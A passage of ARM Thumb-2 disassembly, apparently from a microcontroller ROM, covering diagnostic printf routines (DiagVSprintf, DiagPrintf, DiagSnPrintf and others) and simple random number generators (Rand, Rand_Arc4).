101001e6: bfb8 it lt 101001e8: 4613 movlt r3, r2 101001ea: 2b00 cmp r3, #0 101001ec: db14 blt.n 10100218 <DiagVSprintf+0xec> 101001ee: 4619 mov r1, r3 101001f0: fa4f fc8c sxtb.w ip, ip 101001f4: f10b 32ff add.w r2, fp, #4294967295 101001f8: fa20 f401 lsr.w r4, r0, r1 101001fc: f004 040f and.w r4, r4, #15 10100200: f818 4004 ldrb.w r4, [r8, r4] 10100204: 3904 subs r1, #4 10100206: ea4c 0404 orr.w r4, ip, r4 1010020a: f802 4f01 strb.w r4, [r2, #1]! 1010020e: d5f3 bpl.n 101001f8 <DiagVSprintf+0xcc> 10100210: eb0b 0393 add.w r3, fp, r3, lsr #2 10100214: f103 0b01 add.w fp, r3, #1 10100218: 45f3 cmp fp, lr 1010021a: d99b bls.n 10100154 <DiagVSprintf+0x28> 1010021c: f89d 4004 ldrb.w r4, [sp, #4] 10100220: f10d 0a05 add.w sl, sp, #5 10100224: b157 cbz r7, 1010023c <DiagVSprintf+0x110> 10100226: 2c0a cmp r4, #10 10100228: 702c strb r4, [r5, #0] 1010022a: f105 0501 add.w r5, r5, #1 1010022e: d00a beq.n 10100246 <DiagVSprintf+0x11a> 10100230: 45d3 cmp fp, sl 10100232: d98f bls.n 10100154 <DiagVSprintf+0x28> 10100234: f81a 4b01 ldrb.w r4, [sl], #1 10100238: 2f00 cmp r7, #0 1010023a: d1f4 bne.n 10100226 <DiagVSprintf+0xfa> 1010023c: 4620 mov r0, r4 1010023e: 4b6a ldr r3, [pc, #424] ; (101003e8 <DiagVSprintf+0x2bc>) 10100240: 4798 blx r3 10100242: 2c0a cmp r4, #10 10100244: d1f4 bne.n 10100230 <DiagVSprintf+0x104> 10100246: 200d movs r0, #13 10100248: 4b67 ldr r3, [pc, #412] ; (101003e8 <DiagVSprintf+0x2bc>) 1010024a: 4798 blx r3 1010024c: e7f0 b.n 10100230 <DiagVSprintf+0x104> 1010024e: f1a4 0330 sub.w r3, r4, #48 ; 0x30 10100252: 2b09 cmp r3, #9 10100254: d9a0 bls.n 10100198 <DiagVSprintf+0x6c> 10100256: 2300 movs r3, #0 10100258: 2c78 cmp r4, #120 ; 0x78 1010025a: d0b0 beq.n 101001be <DiagVSprintf+0x92> 1010025c: 2c58 cmp r4, #88 ; 0x58 1010025e: d049 beq.n 101002f4 <DiagVSprintf+0x1c8> 10100260: 2c70 cmp r4, #112 ; 0x70 10100262: d054 beq.n 1010030e <DiagVSprintf+0x1e2> 10100264: 2c50 cmp r4, #80 ; 0x50 10100266: d062 beq.n 1010032e <DiagVSprintf+0x202> 10100268: 2c64 cmp r4, #100 ; 0x64 1010026a: d065 beq.n 10100338 <DiagVSprintf+0x20c> 1010026c: 2c63 cmp r4, #99 ; 0x63 1010026e: bf08 it eq 10100270: b2c4 uxtbeq r4, r0 10100272: f10d 0a05 add.w sl, sp, #5 10100276: bf06 itte eq 10100278: f88d 4004 strbeq.w r4, [sp, #4] 1010027c: f109 0904 addeq.w r9, r9, #4 10100280: f88d 4004 strbne.w r4, [sp, #4] 10100284: 46d3 mov fp, sl 10100286: e7cd b.n 10100224 <DiagVSprintf+0xf8> 10100288: 1be8 subs r0, r5, r7 1010028a: b10f cbz r7, 10100290 <DiagVSprintf+0x164> 1010028c: 2300 movs r3, #0 1010028e: 702b strb r3, [r5, #0] 10100290: b007 add sp, #28 10100292: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10100296: f8d9 4000 ldr.w r4, [r9] 1010029a: 7820 ldrb r0, [r4, #0] 1010029c: f109 0904 add.w r9, r9, #4 101002a0: 2800 cmp r0, #0 101002a2: f43f af57 beq.w 10100154 <DiagVSprintf+0x28> 101002a6: b147 cbz r7, 101002ba <DiagVSprintf+0x18e> 101002a8: 7028 strb r0, [r5, #0] 101002aa: 3501 adds r5, #1 101002ac: f814 0f01 ldrb.w r0, [r4, #1]! 101002b0: 2800 cmp r0, #0 101002b2: f43f af4f beq.w 10100154 <DiagVSprintf+0x28> 101002b6: 2f00 cmp r7, #0 101002b8: d1f6 bne.n 101002a8 <DiagVSprintf+0x17c> 101002ba: 4b4b ldr r3, [pc, #300] ; (101003e8 <DiagVSprintf+0x2bc>) 101002bc: 4798 blx r3 101002be: e7f5 b.n 101002ac <DiagVSprintf+0x180> 101002c0: 2304 movs r3, #4 101002c2: f1a4 0230 sub.w r2, r4, #48 ; 0x30 101002c6: 2a09 cmp r2, #9 101002c8: d8c6 bhi.n 10100258 <DiagVSprintf+0x12c> 101002ca: e765 b.n 10100198 <DiagVSprintf+0x6c> 101002cc: f5a0 5380 sub.w r3, r0, #4096 ; 0x1000 101002d0: f5b3 4f70 cmp.w r3, #61440 ; 0xf000 101002d4: d36e bcc.n 101003b4 <DiagVSprintf+0x288> 101002d6: f5a0 3380 sub.w r3, r0, #65536 ; 0x10000 101002da: f5b3 2f70 cmp.w r3, #983040 ; 0xf0000 101002de: d36e bcc.n 101003be <DiagVSprintf+0x292> 101002e0: f5a0 1380 sub.w r3, r0, #1048576 ; 0x100000 101002e4: f5b3 0f70 cmp.w r3, #15728640 ; 0xf00000 101002e8: d26b bcs.n 101003c2 <DiagVSprintf+0x296> 101002ea: 2314 movs r3, #20 101002ec: e7e9 b.n 101002c2 <DiagVSprintf+0x196> 101002ee: 4b3e ldr r3, [pc, #248] ; (101003e8 <DiagVSprintf+0x2bc>) 101002f0: 4798 blx r3 101002f2: e72f b.n 10100154 <DiagVSprintf+0x28> 101002f4: f10d 0e04 add.w lr, sp, #4 101002f8: f109 0904 add.w r9, r9, #4 101002fc: 46f3 mov fp, lr 101002fe: f04f 0c00 mov.w ip, #0 10100302: 2800 cmp r0, #0 10100304: f47f af65 bne.w 101001d2 <DiagVSprintf+0xa6> 10100308: f06f 0203 mvn.w r2, #3 1010030c: e76a b.n 101001e4 <DiagVSprintf+0xb8> 1010030e: f04f 0c20 mov.w ip, #32 10100312: f109 0904 add.w r9, r9, #4 10100316: 2130 movs r1, #48 ; 0x30 10100318: f04c 0258 orr.w r2, ip, #88 ; 0x58 1010031c: f88d 1004 strb.w r1, [sp, #4] 10100320: f88d 2005 strb.w r2, [sp, #5] 10100324: f10d 0b06 add.w fp, sp, #6 10100328: f10d 0e04 add.w lr, sp, #4 1010032c: e74e b.n 101001cc <DiagVSprintf+0xa0> 1010032e: f109 0904 add.w r9, r9, #4 10100332: f04f 0c00 mov.w ip, #0 10100336: e7ee b.n 10100316 <DiagVSprintf+0x1ea> 10100338: 2800 cmp r0, #0 1010033a: f109 0904 add.w r9, r9, #4 1010033e: db48 blt.n 101003d2 <DiagVSprintf+0x2a6> 10100340: f10d 0e04 add.w lr, sp, #4 10100344: 4671 mov r1, lr 10100346: f04f 0c00 mov.w ip, #0 1010034a: 468b mov fp, r1 1010034c: 4604 mov r4, r0 1010034e: f8df a0a0 ldr.w sl, [pc, #160] ; 101003f0 <DiagVSprintf+0x2c4> 10100352: ebac 0c01 sub.w ip, ip, r1 10100356: fb8a 2004 smull r2, r0, sl, r4 1010035a: 17e2 asrs r2, r4, #31 1010035c: ebc2 02a0 rsb r2, r2, r0, asr #2 10100360: eb02 0082 add.w r0, r2, r2, lsl #2 10100364: eba4 0040 sub.w r0, r4, r0, lsl #1 10100368: 4614 mov r4, r2 1010036a: 3030 adds r0, #48 ; 0x30 1010036c: f80b 0b01 strb.w r0, [fp], #1 10100370: eb0b 020c add.w r2, fp, ip 10100374: 2c00 cmp r4, #0 10100376: d1ee bne.n 10100356 <DiagVSprintf+0x22a> 10100378: 2b00 cmp r3, #0 1010037a: db0d blt.n 10100398 <DiagVSprintf+0x26c> 1010037c: ea6f 0393 mvn.w r3, r3, lsr #2 10100380: 2030 movs r0, #48 ; 0x30 10100382: 4413 add r3, r2 10100384: 2a00 cmp r2, #0 10100386: f102 32ff add.w r2, r2, #4294967295 1010038a: bfdc itt le 1010038c: f88b 0000 strble.w r0, [fp] 10100390: f10b 0b01 addle.w fp, fp, #1 10100394: 4293 cmp r3, r2 10100396: d1f5 bne.n 10100384 <DiagVSprintf+0x258> 10100398: f10b 33ff add.w r3, fp, #4294967295 1010039c: 4299 cmp r1, r3 1010039e: f4bf af3b bcs.w 10100218 <DiagVSprintf+0xec> 101003a2: 781a ldrb r2, [r3, #0] 101003a4: 7808 ldrb r0, [r1, #0] 101003a6: f803 0901 strb.w r0, [r3], #-1 101003aa: f801 2b01 strb.w r2, [r1], #1 101003ae: 4299 cmp r1, r3 101003b0: d3f7 bcc.n 101003a2 <DiagVSprintf+0x276> 101003b2: e731 b.n 10100218 <DiagVSprintf+0xec> 101003b4: 230c movs r3, #12 101003b6: e784 b.n 101002c2 <DiagVSprintf+0x196> 101003b8: 4618 mov r0, r3 101003ba: 463d mov r5, r7 101003bc: e765 b.n 1010028a <DiagVSprintf+0x15e> 101003be: 2310 movs r3, #16 101003c0: e77f b.n 101002c2 <DiagVSprintf+0x196> 101003c2: f100 437f add.w r3, r0, #4278190080 ; 0xff000000 101003c6: f1b3 6f70 cmp.w r3, #251658240 ; 0xf000000 101003ca: bf2c ite cs 101003cc: 231c movcs r3, #28 101003ce: 2318 movcc r3, #24 101003d0: e777 b.n 101002c2 <DiagVSprintf+0x196> 101003d2: 222d movs r2, #45 ; 0x2d 101003d4: 4240 negs r0, r0 101003d6: f88d 2004 strb.w r2, [sp, #4] 101003da: f04f 0c01 mov.w ip, #1 101003de: f10d 0105 add.w r1, sp, #5 101003e2: f10d 0e04 add.w lr, sp, #4 101003e6: e7b0 b.n 1010034a <DiagVSprintf+0x21e> 101003e8: 10102af5 .word 0x10102af5 101003ec: 101d404c .word 0x101d404c 101003f0: 66666667 .word 0x66666667 101003f4 <DiagPrintf>: 101003f4: b40f push {r0, r1, r2, r3} 101003f6: b508 push {r3, lr} 101003f8: 4b11 ldr r3, [pc, #68] ; (10100440 <DiagPrintf+0x4c>) 101003fa: 681a ldr r2, [r3, #0] 101003fc: 2a01 cmp r2, #1 101003fe: d01a beq.n 10100436 <DiagPrintf+0x42> 10100400: 685a ldr r2, [r3, #4] 10100402: 2a01 cmp r2, #1 10100404: d008 beq.n 10100418 <DiagPrintf+0x24> 10100406: aa03 add r2, sp, #12 10100408: 9902 ldr r1, [sp, #8] 1010040a: 2000 movs r0, #0 1010040c: f7ff fe8e bl 1010012c <DiagVSprintf> 10100410: e8bd 4008 ldmia.w sp!, {r3, lr} 10100414: b004 add sp, #16 10100416: 4770 bx lr 10100418: 689b ldr r3, [r3, #8] 1010041a: 2b00 cmp r3, #0 1010041c: d0f3 beq.n 10100406 <DiagPrintf+0x12> 1010041e: 9802 ldr r0, [sp, #8] 10100420: 4798 blx r3 10100422: 2800 cmp r0, #0 10100424: d0ef beq.n 10100406 <DiagPrintf+0x12> 10100426: aa03 add r2, sp, #12 10100428: 9902 ldr r1, [sp, #8] 1010042a: f7ff fe7f bl 1010012c <DiagVSprintf> 1010042e: e8bd 4008 ldmia.w sp!, {r3, lr} 10100432: b004 add sp, #16 10100434: 4770 bx lr 10100436: e8bd 4008 ldmia.w sp!, {r3, lr} 1010043a: 2000 movs r0, #0 1010043c: b004 add sp, #16 1010043e: 4770 bx lr 10100440: 10000000 .word 0x10000000 10100444 <DiagPrintfD>: 10100444: b40f push {r0, r1, r2, r3} 10100446: b508 push {r3, lr} 10100448: 4b08 ldr r3, [pc, #32] ; (1010046c <DiagPrintfD+0x28>) 1010044a: 681b ldr r3, [r3, #0] 1010044c: 2b01 cmp r3, #1 1010044e: d008 beq.n 10100462 <DiagPrintfD+0x1e> 10100450: aa03 add r2, sp, #12 10100452: 9902 ldr r1, [sp, #8] 10100454: 2000 movs r0, #0 10100456: f7ff fe69 bl 1010012c <DiagVSprintf> 1010045a: e8bd 4008 ldmia.w sp!, {r3, lr} 1010045e: b004 add sp, #16 10100460: 4770 bx lr 10100462: e8bd 4008 ldmia.w sp!, {r3, lr} 10100466: 2000 movs r0, #0 10100468: b004 add sp, #16 1010046a: 4770 bx lr 1010046c: 10000000 .word 0x10000000 10100470 <DiagSPrintf>: 10100470: b40e push {r1, r2, r3} 10100472: 4b09 ldr r3, [pc, #36] ; (10100498 <DiagSPrintf+0x28>) 10100474: 681b ldr r3, [r3, #0] 10100476: 2b01 cmp r3, #1 10100478: b500 push {lr} 1010047a: d007 beq.n 1010048c <DiagSPrintf+0x1c> 1010047c: aa02 add r2, sp, #8 1010047e: 9901 ldr r1, [sp, #4] 10100480: f7ff fe54 bl 1010012c <DiagVSprintf> 10100484: f85d eb04 ldr.w lr, [sp], #4 10100488: b003 add sp, #12 1010048a: 4770 bx lr 1010048c: f85d eb04 ldr.w lr, [sp], #4 10100490: 2000 movs r0, #0 10100492: b003 add sp, #12 10100494: 4770 bx lr 10100496: bf00 nop 10100498: 10000000 .word 0x10000000 1010049c <DiagSnPrintf>: 1010049c: b310 cbz r0, 101004e4 <DiagSnPrintf+0x48> 1010049e: b40c push {r2, r3} 101004a0: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 101004a4: b087 sub sp, #28 101004a6: ac11 add r4, sp, #68 ; 0x44 101004a8: 9400 str r4, [sp, #0] 101004aa: b9e1 cbnz r1, 101004e6 <DiagSnPrintf+0x4a> 101004ac: f04f 31ff mov.w r1, #4294967295 101004b0: 9b10 ldr r3, [sp, #64] ; 0x40 101004b2: 781a ldrb r2, [r3, #0] 101004b4: 2a00 cmp r2, #0 101004b6: f000 813e beq.w 10100736 <DiagSnPrintf+0x29a> 101004ba: 46a6 mov lr, r4 101004bc: 4607 mov r7, r0 101004be: f04f 0930 mov.w r9, #48 ; 0x30 101004c2: f8df c29c ldr.w ip, [pc, #668] ; 10100760 <DiagSnPrintf+0x2c4> 101004c6: f10d 0804 add.w r8, sp, #4 101004ca: 2a25 cmp r2, #37 ; 0x25 101004cc: d017 beq.n 101004fe <DiagSnPrintf+0x62> 101004ce: 1c7c adds r4, r7, #1 101004d0: 42a1 cmp r1, r4 101004d2: 703a strb r2, [r7, #0] 101004d4: d809 bhi.n 101004ea <DiagSnPrintf+0x4e> 101004d6: 1a20 subs r0, r4, r0 101004d8: 2300 movs r3, #0 101004da: 7023 strb r3, [r4, #0] 101004dc: b007 add sp, #28 101004de: e8bd 4ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 101004e2: b002 add sp, #8 101004e4: 4770 bx lr 101004e6: 4401 add r1, r0 101004e8: e7e2 b.n 101004b0 <DiagSnPrintf+0x14> 101004ea: 4627 mov r7, r4 101004ec: 9b10 ldr r3, [sp, #64] ; 0x40 101004ee: 785a ldrb r2, [r3, #1] 101004f0: 3301 adds r3, #1 101004f2: 9310 str r3, [sp, #64] ; 0x40 101004f4: 2a00 cmp r2, #0 101004f6: d1e8 bne.n 101004ca <DiagSnPrintf+0x2e> 101004f8: 1a38 subs r0, r7, r0 101004fa: 463c mov r4, r7 101004fc: e7ec b.n 101004d8 <DiagSnPrintf+0x3c> 101004fe: 785e ldrb r6, [r3, #1] 10100500: 3301 adds r3, #1 10100502: 9310 str r3, [sp, #64] ; 0x40 10100504: 2e73 cmp r6, #115 ; 0x73 10100506: f8de 5000 ldr.w r5, [lr] 1010050a: d072 beq.n 101005f2 <DiagSnPrintf+0x156> 1010050c: 2d0f cmp r5, #15 1010050e: dc2f bgt.n 10100570 <DiagSnPrintf+0xd4> 10100510: f1a6 0230 sub.w r2, r6, #48 ; 0x30 10100514: 2a09 cmp r2, #9 10100516: d959 bls.n 101005cc <DiagSnPrintf+0x130> 10100518: 2200 movs r2, #0 1010051a: 2e78 cmp r6, #120 ; 0x78 1010051c: d07f beq.n 1010061e <DiagSnPrintf+0x182> 1010051e: 2e58 cmp r6, #88 ; 0x58 10100520: f000 80ae beq.w 10100680 <DiagSnPrintf+0x1e4> 10100524: 2e70 cmp r6, #112 ; 0x70 10100526: f000 80b4 beq.w 10100692 <DiagSnPrintf+0x1f6> 1010052a: 2e50 cmp r6, #80 ; 0x50 1010052c: f000 80bf beq.w 101006ae <DiagSnPrintf+0x212> 10100530: 2e64 cmp r6, #100 ; 0x64 10100532: f000 80c2 beq.w 101006ba <DiagSnPrintf+0x21e> 10100536: 2e63 cmp r6, #99 ; 0x63 10100538: bf05 ittet eq 1010053a: b2ee uxtbeq r6, r5 1010053c: f88d 6004 strbeq.w r6, [sp, #4] 10100540: f88d 6004 strbne.w r6, [sp, #4] 10100544: f10e 0e04 addeq.w lr, lr, #4 10100548: f10d 0a05 add.w sl, sp, #5 1010054c: 1c7a adds r2, r7, #1 1010054e: 4291 cmp r1, r2 10100550: 703e strb r6, [r7, #0] 10100552: d932 bls.n 101005ba <DiagSnPrintf+0x11e> 10100554: f10d 0305 add.w r3, sp, #5 10100558: e005 b.n 10100566 <DiagSnPrintf+0xca> 1010055a: f813 4b01 ldrb.w r4, [r3], #1 1010055e: f802 4b01 strb.w r4, [r2], #1 10100562: 4291 cmp r1, r2 10100564: d02a beq.n 101005bc <DiagSnPrintf+0x120> 10100566: 459a cmp sl, r3 10100568: d8f7 bhi.n 1010055a <DiagSnPrintf+0xbe> 1010056a: 4617 mov r7, r2 1010056c: 9b10 ldr r3, [sp, #64] ; 0x40 1010056e: e7be b.n 101004ee <DiagSnPrintf+0x52> 10100570: f1a5 0210 sub.w r2, r5, #16 10100574: 2aef cmp r2, #239 ; 0xef 10100576: d924 bls.n 101005c2 <DiagSnPrintf+0x126> 10100578: f5a5 7280 sub.w r2, r5, #256 ; 0x100 1010057c: f5b2 6f70 cmp.w r2, #3840 ; 0xf00 10100580: f0c0 8085 bcc.w 1010068e <DiagSnPrintf+0x1f2> 10100584: f5a5 5280 sub.w r2, r5, #4096 ; 0x1000 10100588: f5b2 4f70 cmp.w r2, #61440 ; 0xf000 1010058c: f0c0 80d1 bcc.w 10100732 <DiagSnPrintf+0x296> 10100590: 4c71 ldr r4, [pc, #452] ; (10100758 <DiagSnPrintf+0x2bc>) 10100592: f5a5 3280 sub.w r2, r5, #65536 ; 0x10000 10100596: 42a2 cmp r2, r4 10100598: f240 80d2 bls.w 10100740 <DiagSnPrintf+0x2a4> 1010059c: f5a5 1280 sub.w r2, r5, #1048576 ; 0x100000 101005a0: f504 0461 add.w r4, r4, #14745600 ; 0xe10000 101005a4: 42a2 cmp r2, r4 101005a6: f240 80d5 bls.w 10100754 <DiagSnPrintf+0x2b8> 101005aa: f105 427f add.w r2, r5, #4278190080 ; 0xff000000 101005ae: f1b2 6f70 cmp.w r2, #251658240 ; 0xf000000 101005b2: bf2c ite cs 101005b4: 221c movcs r2, #28 101005b6: 2218 movcc r2, #24 101005b8: e004 b.n 101005c4 <DiagSnPrintf+0x128> 101005ba: 4611 mov r1, r2 101005bc: 1a08 subs r0, r1, r0 101005be: 460c mov r4, r1 101005c0: e78a b.n 101004d8 <DiagSnPrintf+0x3c> 101005c2: 2204 movs r2, #4 101005c4: f1a6 0430 sub.w r4, r6, #48 ; 0x30 101005c8: 2c09 cmp r4, #9 101005ca: d8a6 bhi.n 1010051a <DiagSnPrintf+0x7e> 101005cc: 2200 movs r2, #0 101005ce: eb02 0282 add.w r2, r2, r2, lsl #2 101005d2: eb06 0442 add.w r4, r6, r2, lsl #1 101005d6: f813 6f01 ldrb.w r6, [r3, #1]! 101005da: f1a6 0a30 sub.w sl, r6, #48 ; 0x30 101005de: f1ba 0f09 cmp.w sl, #9 101005e2: f1a4 0230 sub.w r2, r4, #48 ; 0x30 101005e6: d9f2 bls.n 101005ce <DiagSnPrintf+0x132> 101005e8: f1a4 0231 sub.w r2, r4, #49 ; 0x31 101005ec: 9310 str r3, [sp, #64] ; 0x40 101005ee: 0092 lsls r2, r2, #2 101005f0: e793 b.n 1010051a <DiagSnPrintf+0x7e> 101005f2: 782a ldrb r2, [r5, #0] 101005f4: f10e 0e04 add.w lr, lr, #4 101005f8: 2a00 cmp r2, #0 101005fa: f43f af78 beq.w 101004ee <DiagSnPrintf+0x52> 101005fe: 1c7c adds r4, r7, #1 10100600: 428c cmp r4, r1 10100602: 703a strb r2, [r7, #0] 10100604: f4bf af67 bcs.w 101004d6 <DiagSnPrintf+0x3a> 10100608: 4627 mov r7, r4 1010060a: f815 2f01 ldrb.w r2, [r5, #1]! 1010060e: 2a00 cmp r2, #0 10100610: f43f af6d beq.w 101004ee <DiagSnPrintf+0x52> 10100614: f807 2b01 strb.w r2, [r7], #1 10100618: 42b9 cmp r1, r7 1010061a: d1f6 bne.n 1010060a <DiagSnPrintf+0x16e> 1010061c: e7ce b.n 101005bc <DiagSnPrintf+0x120> 1010061e: 462b mov r3, r5 10100620: f04f 0b20 mov.w fp, #32 10100624: 46c2 mov sl, r8 10100626: f10e 0e04 add.w lr, lr, #4 1010062a: 2d00 cmp r5, #0 1010062c: d07e beq.n 1010072c <DiagSnPrintf+0x290> 1010062e: 2600 movs r6, #0 10100630: f013 040f ands.w r4, r3, #15 10100634: bf18 it ne 10100636: 2401 movne r4, #1 10100638: 091b lsrs r3, r3, #4 1010063a: 4426 add r6, r4 1010063c: d1f8 bne.n 10100630 <DiagSnPrintf+0x194> 1010063e: 3e01 subs r6, #1 10100640: 00b4 lsls r4, r6, #2 10100642: 42a2 cmp r2, r4 10100644: bfb8 it lt 10100646: 4622 movlt r2, r4 10100648: 2a00 cmp r2, #0 1010064a: db14 blt.n 10100676 <DiagSnPrintf+0x1da> 1010064c: 4613 mov r3, r2 1010064e: fa4f fb8b sxtb.w fp, fp 10100652: f10a 34ff add.w r4, sl, #4294967295 10100656: fa45 f603 asr.w r6, r5, r3 1010065a: f006 060f and.w r6, r6, #15 1010065e: f81c 6006 ldrb.w r6, [ip, r6] 10100662: 3b04 subs r3, #4 10100664: ea4b 0606 orr.w r6, fp, r6 10100668: f804 6f01 strb.w r6, [r4, #1]! 1010066c: d5f3 bpl.n 10100656 <DiagSnPrintf+0x1ba> 1010066e: eb0a 0292 add.w r2, sl, r2, lsr #2 10100672: f102 0a01 add.w sl, r2, #1 10100676: 45c2 cmp sl, r8 10100678: d960 bls.n 1010073c <DiagSnPrintf+0x2a0> 1010067a: f89d 6004 ldrb.w r6, [sp, #4] 1010067e: e765 b.n 1010054c <DiagSnPrintf+0xb0> 10100680: f10e 0e04 add.w lr, lr, #4 10100684: 462b mov r3, r5 10100686: f04f 0b00 mov.w fp, #0 1010068a: 46c2 mov sl, r8 1010068c: e7cd b.n 1010062a <DiagSnPrintf+0x18e> 1010068e: 2208 movs r2, #8 10100690: e798 b.n 101005c4 <DiagSnPrintf+0x128> 10100692: 462b mov r3, r5 10100694: f04f 0b20 mov.w fp, #32 10100698: f10e 0e04 add.w lr, lr, #4 1010069c: f04b 0458 orr.w r4, fp, #88 ; 0x58 101006a0: f88d 9004 strb.w r9, [sp, #4] 101006a4: f88d 4005 strb.w r4, [sp, #5] 101006a8: f10d 0a06 add.w sl, sp, #6 101006ac: e7bd b.n 1010062a <DiagSnPrintf+0x18e> 101006ae: f10e 0e04 add.w lr, lr, #4 101006b2: 462b mov r3, r5 101006b4: f04f 0b00 mov.w fp, #0 101006b8: e7f0 b.n 1010069c <DiagSnPrintf+0x200> 101006ba: 2d00 cmp r5, #0 101006bc: f10e 0e04 add.w lr, lr, #4 101006c0: db40 blt.n 10100744 <DiagSnPrintf+0x2a8> 101006c2: 2600 movs r6, #0 101006c4: 4644 mov r4, r8 101006c6: 4693 mov fp, r2 101006c8: 46a2 mov sl, r4 101006ca: 462a mov r2, r5 101006cc: 1b36 subs r6, r6, r4 101006ce: 4b23 ldr r3, [pc, #140] ; (1010075c <DiagSnPrintf+0x2c0>) 101006d0: fb83 3502 smull r3, r5, r3, r2 101006d4: 17d3 asrs r3, r2, #31 101006d6: ebc3 03a5 rsb r3, r3, r5, asr #2 101006da: eb03 0583 add.w r5, r3, r3, lsl #2 101006de: eba2 0545 sub.w r5, r2, r5, lsl #1 101006e2: 461a mov r2, r3 101006e4: 3530 adds r5, #48 ; 0x30 101006e6: f80a 5b01 strb.w r5, [sl], #1 101006ea: eb0a 0306 add.w r3, sl, r6 101006ee: 2a00 cmp r2, #0 101006f0: d1ed bne.n 101006ce <DiagSnPrintf+0x232> 101006f2: 465a mov r2, fp 101006f4: 2a00 cmp r2, #0 101006f6: db0c blt.n 10100712 <DiagSnPrintf+0x276> 101006f8: ea6f 029b mvn.w r2, fp, lsr #2 101006fc: 441a add r2, r3 101006fe: 2b00 cmp r3, #0 10100700: f103 33ff add.w r3, r3, #4294967295 10100704: bfdc itt le 10100706: f88a 9000 strble.w r9, [sl] 1010070a: f10a 0a01 addle.w sl, sl, #1 1010070e: 4293 cmp r3, r2 10100710: d1f5 bne.n 101006fe <DiagSnPrintf+0x262> 10100712: f10a 33ff add.w r3, sl, #4294967295 10100716: 429c cmp r4, r3 10100718: d2ad bcs.n 10100676 <DiagSnPrintf+0x1da> 1010071a: 781a ldrb r2, [r3, #0] 1010071c: 7825 ldrb r5, [r4, #0] 1010071e: f803 5901 strb.w r5, [r3], #-1 10100722: f804 2b01 strb.w r2, [r4], #1 10100726: 429c cmp r4, r3 10100728: d3f7 bcc.n 1010071a <DiagSnPrintf+0x27e> 1010072a: e7a4 b.n 10100676 <DiagSnPrintf+0x1da> 1010072c: f06f 0403 mvn.w r4, #3 10100730: e787 b.n 10100642 <DiagSnPrintf+0x1a6> 10100732: 220c movs r2, #12 10100734: e746 b.n 101005c4 <DiagSnPrintf+0x128> 10100736: 4604 mov r4, r0 10100738: 4610 mov r0, r2 1010073a: e6cd b.n 101004d8 <DiagSnPrintf+0x3c> 1010073c: 463a mov r2, r7 1010073e: e714 b.n 1010056a <DiagSnPrintf+0xce> 10100740: 2210 movs r2, #16 10100742: e73f b.n 101005c4 <DiagSnPrintf+0x128> 10100744: 232d movs r3, #45 ; 0x2d 10100746: 426d negs r5, r5 10100748: f88d 3004 strb.w r3, [sp, #4] 1010074c: 2601 movs r6, #1 1010074e: f10d 0405 add.w r4, sp, #5 10100752: e7b8 b.n 101006c6 <DiagSnPrintf+0x22a> 10100754: 2214 movs r2, #20 10100756: e735 b.n 101005c4 <DiagSnPrintf+0x128> 10100758: 000effff .word 0x000effff 1010075c: 66666667 .word 0x66666667 10100760: 101d404c .word 0x101d404c 10100764 <Rand>: 10100764: 4b1a ldr r3, [pc, #104] ; (101007d0 <Rand+0x6c>) 10100766: 681a ldr r2, [r3, #0] 10100768: b5f0 push {r4, r5, r6, r7, lr} 1010076a: b962 cbnz r2, 10100786 <Rand+0x22> 1010076c: 2101 movs r1, #1 1010076e: f24c 02e0 movw r2, #49376 ; 0xc0e0 10100772: 6019 str r1, [r3, #0] 10100774: 4817 ldr r0, [pc, #92] ; (101007d4 <Rand+0x70>) 10100776: 4918 ldr r1, [pc, #96] ; (101007d8 <Rand+0x74>) 10100778: 4c18 ldr r4, [pc, #96] ; (101007dc <Rand+0x78>) 1010077a: 4d19 ldr r5, [pc, #100] ; (101007e0 <Rand+0x7c>) 1010077c: 605d str r5, [r3, #4] 1010077e: 609a str r2, [r3, #8] 10100780: 60dc str r4, [r3, #12] 10100782: 6119 str r1, [r3, #16] 10100784: bdf0 pop {r4, r5, r6, r7, pc} 10100786: 689a ldr r2, [r3, #8] 10100788: 685e ldr r6, [r3, #4] 1010078a: 4d16 ldr r5, [pc, #88] ; (101007e4 <Rand+0x80>) 1010078c: 0091 lsls r1, r2, #2 1010078e: 68df ldr r7, [r3, #12] 10100790: 4c15 ldr r4, [pc, #84] ; (101007e8 <Rand+0x84>) 10100792: ea82 0001 eor.w r0, r2, r1 10100796: ea86 1e86 eor.w lr, r6, r6, lsl #6 1010079a: f021 021f bic.w r2, r1, #31 1010079e: ea05 4586 and.w r5, r5, r6, lsl #18 101007a2: 4912 ldr r1, [pc, #72] ; (101007ec <Rand+0x88>) 101007a4: 691e ldr r6, [r3, #16] 101007a6: ea45 355e orr.w r5, r5, lr, lsr #13 101007aa: ea04 14c7 and.w r4, r4, r7, lsl #7 101007ae: ea87 3e47 eor.w lr, r7, r7, lsl #13 101007b2: ea42 62d0 orr.w r2, r2, r0, lsr #27 101007b6: ea85 0002 eor.w r0, r5, r2 101007ba: ea44 545e orr.w r4, r4, lr, lsr #21 101007be: ea86 07c6 eor.w r7, r6, r6, lsl #3 101007c2: ea01 3146 and.w r1, r1, r6, lsl #13 101007c6: 4060 eors r0, r4 101007c8: ea41 3117 orr.w r1, r1, r7, lsr #12 101007cc: 4048 eors r0, r1 101007ce: e7d5 b.n 1010077c <Rand+0x18> 101007d0: 1000001c .word 0x1000001c 101007d4: c6f8d8aa .word 0xc6f8d8aa 101007d8: 0600001b .word 0x0600001b 101007dc: 00181830 .word 0x00181830 101007e0: c0e00061 .word 0xc0e00061 101007e4: fff80000 .word 0xfff80000 101007e8: fffff800 .word 0xfffff800 101007ec: fff00000 .word 0xfff00000 101007f0 <Rand_Arc4>: 101007f0: b510 push {r4, lr} 101007f2: 4b08 ldr r3, [pc, #32] ; (10100814 <Rand_Arc4+0x24>) 101007f4: 4798 blx r3 101007f6: 4908 ldr r1, [pc, #32] ; (10100818 <Rand_Arc4+0x28>) 101007f8: 4a08 ldr r2, [pc, #32] ; (1010081c <Rand_Arc4+0x2c>) 101007fa: 694c ldr r4, [r1, #20] 101007fc: 4b08 ldr r3, [pc, #32] ; (10100820 <Rand_Arc4+0x30>) 101007fe: ea02 12c4 and.w r2, r2, r4, lsl #7 10100802: ea03 2314 and.w r3, r3, r4, lsr #8 10100806: 4053 eors r3, r2 10100808: ea83 3340 eor.w r3, r3, r0, lsl #13 1010080c: ea83 2050 eor.w r0, r3, r0, lsr #9 10100810: 6148 str r0, [r1, #20] 10100812: bd10 pop {r4, pc} 10100814: 10103215 .word 0x10103215 